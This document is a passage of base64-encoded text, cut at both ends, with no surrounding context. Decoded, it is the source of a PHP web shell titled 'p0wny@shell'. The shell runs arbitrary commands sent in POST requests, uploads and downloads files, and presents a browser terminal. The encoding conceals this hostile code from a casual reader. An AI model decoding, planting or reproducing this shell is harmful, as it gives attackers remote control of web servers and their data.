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B3dWlkICE9PSBmYWxzZSkgewogICAgICAgICAgICAkU0hFTExfQ09ORklHWyd1c2VybmFtZSddID0gJHB3dWlkWyduYW1lJ107CiAgICAgICAgfQogICAgfQoKICAgICRob3N0bmFtZSA9IGdldGhvc3RuYW1lKCk7CiAgICBpZiAoJGhvc3RuYW1lICE9PSBmYWxzZSkgewogICAgICAgICRTSEVMTF9DT05GSUdbJ2hvc3RuYW1lJ10gPSAkaG9zdG5hbWU7CiAgICB9Cn0KCmlmIChpc3NldCgkX0dFVFsiZmVhdHVyZSJdKSkgewoKICAgICRyZXNwb25zZSA9IE5VTEw7CgogICAgc3dpdGNoICgkX0dFVFsiZmVhdHVyZSJdKSB7CiAgICAgICAgY2FzZSAic2hlbGwiOgogICAgICAgICAgICAkY21kID0gJF9QT1NUWydjbWQnXTsKICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcvMj4vJywgJGNtZCkpIHsKICAgICAgICAgICAgICAgICRjbWQgLj0gJyAyPiYxJzsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcmVzcG9uc2UgPSBmZWF0dXJlU2hlbGwoJGNtZCwgJF9QT1NUWyJjd2QiXSk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgInB3ZCI6CiAgICAgICAgICAgICRyZXNwb25zZSA9IGZlYXR1cmVQd2QoKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAiaGludCI6CiAgICAgICAgICAgICRyZXNwb25zZSA9IGZlYXR1cmVIaW50KCRfUE9TVFsnZmlsZW5hbWUnXSwgJF9QT1NUWydjd2QnXSwgJF9QT1NUWyd0eXBlJ10pOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd1cGxvYWQnOgogICAgICAgICAgICAkcmVzcG9uc2UgPSBmZWF0dXJlVXBsb2FkKCRfUE9TVFsncGF0aCddLCAkX1BPU1RbJ2ZpbGUnXSwgJF9QT1NUWydjd2QnXSk7CiAgICB9CgogICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iKTsKICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTsKICAgIGRpZSgpOwp9IGVsc2UgewogICAgaW5pdFNoZWxsQ29uZmlnKCk7Cn0KCj8+PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCIgLz4KICAgICAgICA8dGl0bGU+cDB3bnlAc2hlbGw6fiM8L3RpdGxlPgogICAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIiAvPgogICAgICAgIDxzdHlsZT4KICAgICAgICAgICAgaHRtbCwgYm9keSB7CiAgICAgICAgICAgICAgICBtYXJnaW46IDA7CiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwOwogICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzMzMzsKICAgICAgICAgICAgICAgIGNvbG9yOiAjZWVlOwogICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsKICAgICAgICAgICAgICAgIHdpZHRoOiAxMDB2dzsKICAgICAgICAgICAgICAgIGhlaWdodDogMTAwdmg7CiAgICAgICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOwogICAgICAgICAgICB9CgogICAgICAgICAgICAqOjotd2Via2l0LXNjcm9sbGJhci10cmFjayB7CiAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA4cHg7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzUzNTM1OwogICAgICAgICAgICB9CgogICAgICAgICAgICAqOjotd2Via2l0LXNjcm9sbGJhciB7CiAgICAgICAgICAgICAgICB3aWR0aDogOHB4OwogICAgICAgICAgICAgICAgaGVpZ2h0OiA4cHg7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICo6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHsKICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDhweDsKICAgICAgICAgICAgICAgIC13ZWJraXQtYm94LXNoYWRvdzogaW5zZXQgMCAwIDZweCByZ2JhKDAsMCwwLC4zKTsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNiY2JjYmM7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNzaGVsbCB7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjIyOwogICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCAwIDVweCByZ2JhKDAsIDAsIDAsIC4zKTsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTBwdDsKICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOwogICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IHN0cmV0Y2g7CiAgICAgICAgICAgICAgICBtYXgtd2lkdGg6IGNhbGMoMTAwdncgLSAyICogdmFyKC0tc2hlbGwtbWFyZ2luKSk7CiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiBjYWxjKDEwMHZoIC0gMiAqIHZhcigtLXNoZWxsLW1hcmdpbikpOwogICAgICAgICAgICAgICAgcmVzaXplOiBib3RoOwogICAgICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsKICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlOwogICAgICAgICAgICAgICAgbWFyZ2luOiB2YXIoLS1zaGVsbC1tYXJnaW4pIGF1dG87CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNzaGVsbC1jb250ZW50IHsKICAgICAgICAgICAgICAgIG92ZXJmbG93OiBhdXRvOwogICAgICAgICAgICAgICAgcGFkZGluZzogNXB4OwogICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IHByZS13cmFwOwogICAgICAgICAgICAgICAgZmxleC1ncm93OiAxOwogICAgICAgICAgICB9CgogICAgICAgICAgICAjc2hlbGwtbG9nbyB7CiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsKICAgICAgICAgICAgICAgIGNvbG9yOiAjRkY0MTgwOwogICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICB9CgogICAgICAgICAgICA6cm9vdCB7CiAgICAgICAgICAgICAgICAtLXNoZWxsLW1hcmdpbjogMjVweDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgQG1lZGlhIChtaW4td2lkdGg6IDEyMDBweCkgewogICAgICAgICAgICAgICAgOnJvb3QgewogICAgICAgICAgICAgICAgICAgIC0tc2hlbGwtbWFyZ2luOiA1MHB4ICFpbXBvcnRhbnQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA5OTFweCksCiAgICAgICAgICAgICAgICAgICAobWF4LWhlaWdodDogNjAwcHgpIHsKICAgICAgICAgICAgICAgICNzaGVsbC1sb2dvIHsKICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDZweDsKICAgICAgICAgICAgICAgICAgICBtYXJnaW46IC0yNXB4IDA7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICA6cm9vdCB7CiAgICAgICAgICAgICAgICAgICAgLS1zaGVsbC1tYXJnaW46IDAgIWltcG9ydGFudDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICNzaGVsbCB7CiAgICAgICAgICAgICAgICAgICAgcmVzaXplOiBub25lOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogNzY3cHgpIHsKICAgICAgICAgICAgICAgICNzaGVsbC1pbnB1dCB7CiAgICAgICAgICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDMyMHB4KSB7CiAgICAgICAgICAgICAgICAjc2hlbGwtbG9nbyB7CiAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiA1cHg7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5zaGVsbC1wcm9tcHQgewogICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgICAgICAgICBjb2xvcjogIzc1REYwQjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLnNoZWxsLXByb21wdCA+IHNwYW4gewogICAgICAgICAgICAgICAgY29sb3I6ICMxQkM5RTc7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNzaGVsbC1pbnB1dCB7CiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCAtMXB4IDAgcmdiYSgwLCAwLCAwLCAuMyk7CiAgICAgICAgICAgICAgICBib3JkZXItdG9wOiByZ2JhKDI1NSwgMjU1LCAyNTUsIC4wNSkgc29saWQgMXB4OwogICAgICAgICAgICAgICAgcGFkZGluZzogMTBweCAwOwogICAgICAgICAgICB9CgogICAgICAgICAgICAjc2hlbGwtaW5wdXQgPiBsYWJlbCB7CiAgICAgICAgICAgICAgICBmbGV4LWdyb3c6IDA7CiAgICAgICAgICAgICAgICBkaXNwbGF5OiBibG9jazsKICAgICAgICAgICAgICAgIHBhZGRpbmc6IDAgNXB4OwogICAgICAgICAgICAgICAgaGVpZ2h0OiAzMHB4OwogICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDMwcHg7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNzaGVsbC1pbnB1dCAjc2hlbGwtY21kIHsKICAgICAgICAgICAgICAgIGhlaWdodDogMzBweDsKICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAzMHB4OwogICAgICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICAgICAgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7CiAgICAgICAgICAgICAgICBjb2xvcjogI2VlZTsKICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEwcHQ7CiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgICAgIGFsaWduLXNlbGY6IGNlbnRlcjsKICAgICAgICAgICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNzaGVsbC1pbnB1dCBkaXYgewogICAgICAgICAgICAgICAgZmxleC1ncm93OiAxOwogICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IHN0cmV0Y2g7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNzaGVsbC1pbnB1dCBpbnB1dCB7CiAgICAgICAgICAgICAgICBvdXRsaW5lOiBub25lOwogICAgICAgICAgICB9CiAgICAgICAgPC9zdHlsZT4KCiAgICAgICAgPHNjcmlwdD4KICAgICAgICAgICAgdmFyIFNIRUxMX0NPTkZJRyA9IDw/cGhwIGVjaG8ganNvbl9lbmNvZGUoJFNIRUxMX0NPTkZJRyk7ID8+OwogICAgICAgICAgICB2YXIgQ1dEID0gbnVsbDsKICAgICAgICAgICAgdmFyIGNvbW1hbmRIaXN0b3J5ID0gW107CiAgICAgICAgICAgIHZhciBoaXN0b3J5UG9zaXRpb24gPSAwOwogICAgICAgICAgICB2YXIgZVNoZWxsQ21kSW5wdXQgPSBudWxsOwogICAgICAgICAgICB2YXIgZVNoZWxsQ29udGVudCA9IG51bGw7CgogICAgICAgICAgICBmdW5jdGlvbiBfaW5zZXJ0Q29tbWFuZChjb21tYW5kKSB7CiAgICAgICAgICAgICAgICBlU2hlbGxDb250ZW50LmlubmVySFRNTCArPSAiXG5cbiI7CiAgICAgICAgICAgICAgICBlU2hlbGxDb250ZW50LmlubmVySFRNTCArPSAnPHNwYW4gY2xhc3M9XCJzaGVsbC1wcm9tcHRcIj4nICsgZ2VuUHJvbXB0KENXRCkgKyAnPC9zcGFuPiAnOwogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudC5pbm5lckhUTUwgKz0gZXNjYXBlSHRtbChjb21tYW5kKTsKICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MICs9ICJcbiI7CiAgICAgICAgICAgICAgICBlU2hlbGxDb250ZW50LnNjcm9sbFRvcCA9IGVTaGVsbENvbnRlbnQuc2Nyb2xsSGVpZ2h0OwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBfaW5zZXJ0U3Rkb3V0KHN0ZG91dCkgewogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudC5pbm5lckhUTUwgKz0gZXNjYXBlSHRtbChzdGRvdXQpOwogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudC5zY3JvbGxUb3AgPSBlU2hlbGxDb250ZW50LnNjcm9sbEhlaWdodDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gX2RlZmVyKGNhbGxiYWNrKSB7CiAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KGNhbGxiYWNrLCAwKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gZmVhdHVyZVNoZWxsKGNvbW1hbmQpIHsKCiAgICAgICAgICAgICAgICBfaW5zZXJ0Q29tbWFuZChjb21tYW5kKTsKICAgICAgICAgICAgICAgIGlmICgvXlxzKnVwbG9hZFxzK1teXHNdK1xzKiQvLnRlc3QoY29tbWFuZCkpIHsKICAgICAgICAgICAgICAgICAgICBmZWF0dXJlVXBsb2FkKGNvbW1hbmQubWF0Y2goL15ccyp1cGxvYWRccysoW15cc10rKVxzKiQvKVsxXSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKC9eXHMqY2xlYXJccyokLy50ZXN0KGNvbW1hbmQpKSB7CiAgICAgICAgICAgICAgICAgICAgLy8gQmFja2VuZCBzaGVsbCBURVJNIGVudmlyb25tZW50IHZhcmlhYmxlIG5vdCBzZXQuIENsZWFyIGNvbW1hbmQgaGlzdG9yeSBmcm9tIFVJIGJ1dCBrZWVwIGluIGJ1ZmZlcgogICAgICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MID0gJyc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIG1ha2VSZXF1ZXN0KCI/ZmVhdHVyZT1zaGVsbCIsIHtjbWQ6IGNvbW1hbmQsIGN3ZDogQ1dEfSwgZnVuY3Rpb24gKHJlc3BvbnNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChyZXNwb25zZS5oYXNPd25Qcm9wZXJ0eSgnZmlsZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmZWF0dXJlRG93bmxvYWQoYXRvYihyZXNwb25zZS5uYW1lKSwgcmVzcG9uc2UuZmlsZSkKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9pbnNlcnRTdGRvdXQoYXRvYihyZXNwb25zZS5zdGRvdXQpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVwZGF0ZUN3ZChhdG9iKHJlc3BvbnNlLmN3ZCkpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIGZlYXR1cmVIaW50KCkgewogICAgICAgICAgICAgICAgaWYgKGVTaGVsbENtZElucHV0LnZhbHVlLnRyaW0oKS5sZW5ndGggPT09IDApIHJldHVybjsgIC8vIGZpZWxkIGlzIGVtcHR5IC0+IG5vdGhpbmcgdG8gY29tcGxldGUKCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBfcmVxdWVzdENhbGxiYWNrKGRhdGEpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YS5maWxlcy5sZW5ndGggPD0gMSkgcmV0dXJuOyAgLy8gbm8gY29tcGxldGlvbgogICAgICAgICAgICAgICAgICAgIGRhdGEuZmlsZXMgPSBkYXRhLmZpbGVzLm1hcChmdW5jdGlvbihmaWxlKXsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGF0b2IoZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEuZmlsZXMubGVuZ3RoID09PSAyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh0eXBlID09PSAnY21kJykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQudmFsdWUgPSBkYXRhLmZpbGVzWzBdOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGN1cnJlbnRWYWx1ZSA9IGVTaGVsbENtZElucHV0LnZhbHVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQudmFsdWUgPSBjdXJyZW50VmFsdWUucmVwbGFjZSgvKFteXHNdKikkLywgZGF0YS5maWxlc1swXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBfaW5zZXJ0Q29tbWFuZChlU2hlbGxDbWRJbnB1dC52YWx1ZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIF9pbnNlcnRTdGRvdXQoZGF0YS5maWxlcy5qb2luKCJcbiIpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgdmFyIGN1cnJlbnRDbWQgPSBlU2hlbGxDbWRJbnB1dC52YWx1ZS5zcGxpdCgiICIpOwogICAgICAgICAgICAgICAgdmFyIHR5cGUgPSAoY3VycmVudENtZC5sZW5ndGggPT09IDEpID8gImNtZCIgOiAiZmlsZSI7CiAgICAgICAgICAgICAgICB2YXIgZmlsZU5hbWUgPSAodHlwZSA9PT0gImNtZCIpID8gY3VycmVudENtZFswXSA6IGN1cnJlbnRDbWRbY3VycmVudENtZC5sZW5ndGggLSAxXTsKCiAgICAgICAgICAgICAgICBtYWtlUmVxdWVzdCgKICAgICAgICAgICAgICAgICAgICAiP2ZlYXR1cmU9aGludCIsCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBmaWxlbmFtZTogZmlsZU5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgIGN3ZDogQ1dELAogICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiB0eXBlCiAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICBfcmVxdWVzdENhbGxiYWNrCiAgICAgICAgICAgICAgICApOwoKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gZmVhdHVyZURvd25sb2FkKG5hbWUsIGZpbGUpIHsKICAgICAgICAgICAgICAgIHZhciBlbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpOwogICAgICAgICAgICAgICAgZWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2hyZWYnLCAnZGF0YTphcHBsaWNhdGlvbi9vY3RldC1zdHJlYW07YmFzZTY0LCcgKyBmaWxlKTsKICAgICAgICAgICAgICAgIGVsZW1lbnQuc2V0QXR0cmlidXRlKCdkb3dubG9hZCcsIG5hbWUpOwogICAgICAgICAgICAgICAgZWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChlbGVtZW50KTsKICAgICAgICAgICAgICAgIGVsZW1lbnQuY2xpY2soKTsKICAgICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQoZWxlbWVudCk7CiAgICAgICAgICAgICAgICBfaW5zZXJ0U3Rkb3V0KCdEb25lLicpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBmZWF0dXJlVXBsb2FkKHBhdGgpIHsKICAgICAgICAgICAgICAgIHZhciBlbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaW5wdXQnKTsKICAgICAgICAgICAgICAgIGVsZW1lbnQuc2V0QXR0cmlidXRlKCd0eXBlJywgJ2ZpbGUnKTsKICAgICAgICAgICAgICAgIGVsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKICAgICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZWxlbWVudCk7CiAgICAgICAgICAgICAgICBlbGVtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NoYW5nZScsIGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgcHJvbWlzZSA9IGdldEJhc2U2NChlbGVtZW50LmZpbGVzWzBdKTsKICAgICAgICAgICAgICAgICAgICBwcm9taXNlLnRoZW4oZnVuY3Rpb24gKGZpbGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgbWFrZVJlcXVlc3QoJz9mZWF0dXJlPXVwbG9hZCcsIHtwYXRoOiBwYXRoLCBmaWxlOiBmaWxlLCBjd2Q6IENXRH0sIGZ1bmN0aW9uIChyZXNwb25zZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgX2luc2VydFN0ZG91dChhdG9iKHJlc3BvbnNlLnN0ZG91dCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdXBkYXRlQ3dkKGF0b2IocmVzcG9uc2UuY3dkKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgICAgIH0sIGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgX2luc2VydFN0ZG91dCgnQW4gdW5rbm93biBjbGllbnQtc2lkZSBlcnJvciBvY2N1cnJlZC4nKTsKICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgZWxlbWVudC5jbGljaygpOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZChlbGVtZW50KTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gZ2V0QmFzZTY0KGZpbGUsIG9uTG9hZENhbGxiYWNrKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFByb21pc2UoZnVuY3Rpb24ocmVzb2x2ZSwgcmVqZWN0KSB7CiAgICAgICAgICAgICAgICAgICAgdmFyIHJlYWRlciA9IG5ldyBGaWxlUmVhZGVyKCk7CiAgICAgICAgICAgICAgICAgICAgcmVhZGVyLm9ubG9hZCA9IGZ1bmN0aW9uKCkgeyByZXNvbHZlKHJlYWRlci5yZXN1bHQubWF0Y2goL2Jhc2U2NCwoLiopJC8pWzFdKTsgfTsKICAgICAgICAgICAgICAgICAgICByZWFkZXIub25lcnJvciA9IHJlamVjdDsKICAgICAgICAgICAgICAgICAgICByZWFkZXIucmVhZEFzRGF0YVVSTChmaWxlKTsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBnZW5Qcm9tcHQoY3dkKSB7CiAgICAgICAgICAgICAgICBjd2QgPSBjd2QgfHwgIn4iOwogICAgICAgICAgICAgICAgdmFyIHNob3J0Q3dkID0gY3dkOwogICAgICAgICAgICAgICAgaWYgKGN3ZC5zcGxpdCgiLyIpLmxlbmd0aCA+IDMpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgc3BsaXR0ZWRDd2QgPSBjd2Quc3BsaXQoIi8iKTsKICAgICAgICAgICAgICAgICAgICBzaG9ydEN3ZCA9ICLigKYvIiArIHNwbGl0dGVkQ3dkW3NwbGl0dGVkQ3dkLmxlbmd0aC0yXSArICIvIiArIHNwbGl0dGVkQ3dkW3NwbGl0dGVkQ3dkLmxlbmd0aC0xXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiBTSEVMTF9DT05GSUdbInVzZXJuYW1lIl0gKyAiQCIgKyBTSEVMTF9DT05GSUdbImhvc3RuYW1lIl0gKyAiOjxzcGFuIHRpdGxlPVwiIiArIGN3ZCArICJcIj4iICsgc2hvcnRDd2QgKyAiPC9zcGFuPiMiOwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiB1cGRhdGVDd2QoY3dkKSB7CiAgICAgICAgICAgICAgICBpZiAoY3dkKSB7CiAgICAgICAgICAgICAgICAgICAgQ1dEID0gY3dkOwogICAgICAgICAgICAgICAgICAgIF91cGRhdGVQcm9tcHQoKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBtYWtlUmVxdWVzdCgiP2ZlYXR1cmU9cHdkIiwge30sIGZ1bmN0aW9uKHJlc3BvbnNlKSB7CiAgICAgICAgICAgICAgICAgICAgQ1dEID0gYXRvYihyZXNwb25zZS5jd2QpOwogICAgICAgICAgICAgICAgICAgIF91cGRhdGVQcm9tcHQoKTsKICAgICAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gZXNjYXBlSHRtbChzdHJpbmcpIHsKICAgICAgICAgICAgICAgIHJldHVybiBzdHJpbmcKICAgICAgICAgICAgICAgICAgICAucmVwbGFjZSgvJi9nLCAiJmFtcDsiKQogICAgICAgICAgICAgICAgICAgIC5yZXBsYWNlKC88L2csICImbHQ7IikKICAgICAgICAgICAgICAgICAgICAucmVwbGFjZSgvPi9nLCAiJmd0OyIpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBfdXBkYXRlUHJvbXB0KCkgewogICAgICAgICAgICAgICAgdmFyIGVTaGVsbFByb21wdCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzaGVsbC1wcm9tcHQiKTsKICAgICAgICAgICAgICAgIGVTaGVsbFByb21wdC5pbm5lckhUTUwgPSBnZW5Qcm9tcHQoQ1dEKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gX29uU2hlbGxDbWRLZXlEb3duKGV2ZW50KSB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKGV2ZW50LmtleSkgewogICAgICAgICAgICAgICAgICAgIGNhc2UgIkVudGVyIjoKICAgICAgICAgICAgICAgICAgICAgICAgZmVhdHVyZVNoZWxsKGVTaGVsbENtZElucHV0LnZhbHVlKTsKICAgICAgICAgICAgICAgICAgICAgICAgaW5zZXJ0VG9IaXN0b3J5KGVTaGVsbENtZElucHV0LnZhbHVlKTsKICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAiQXJyb3dVcCI6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChoaXN0b3J5UG9zaXRpb24gPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBoaXN0b3J5UG9zaXRpb24tLTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LmJsdXIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gY29tbWFuZEhpc3RvcnlbaGlzdG9yeVBvc2l0aW9uXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9kZWZlcihmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAiQXJyb3dEb3duIjoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGhpc3RvcnlQb3NpdGlvbiA+PSBjb21tYW5kSGlzdG9yeS5sZW5ndGgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGhpc3RvcnlQb3NpdGlvbisrOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaGlzdG9yeVBvc2l0aW9uID09PSBjb21tYW5kSGlzdG9yeS5sZW5ndGgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC5ibHVyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQudmFsdWUgPSBjb21tYW5kSGlzdG9yeVt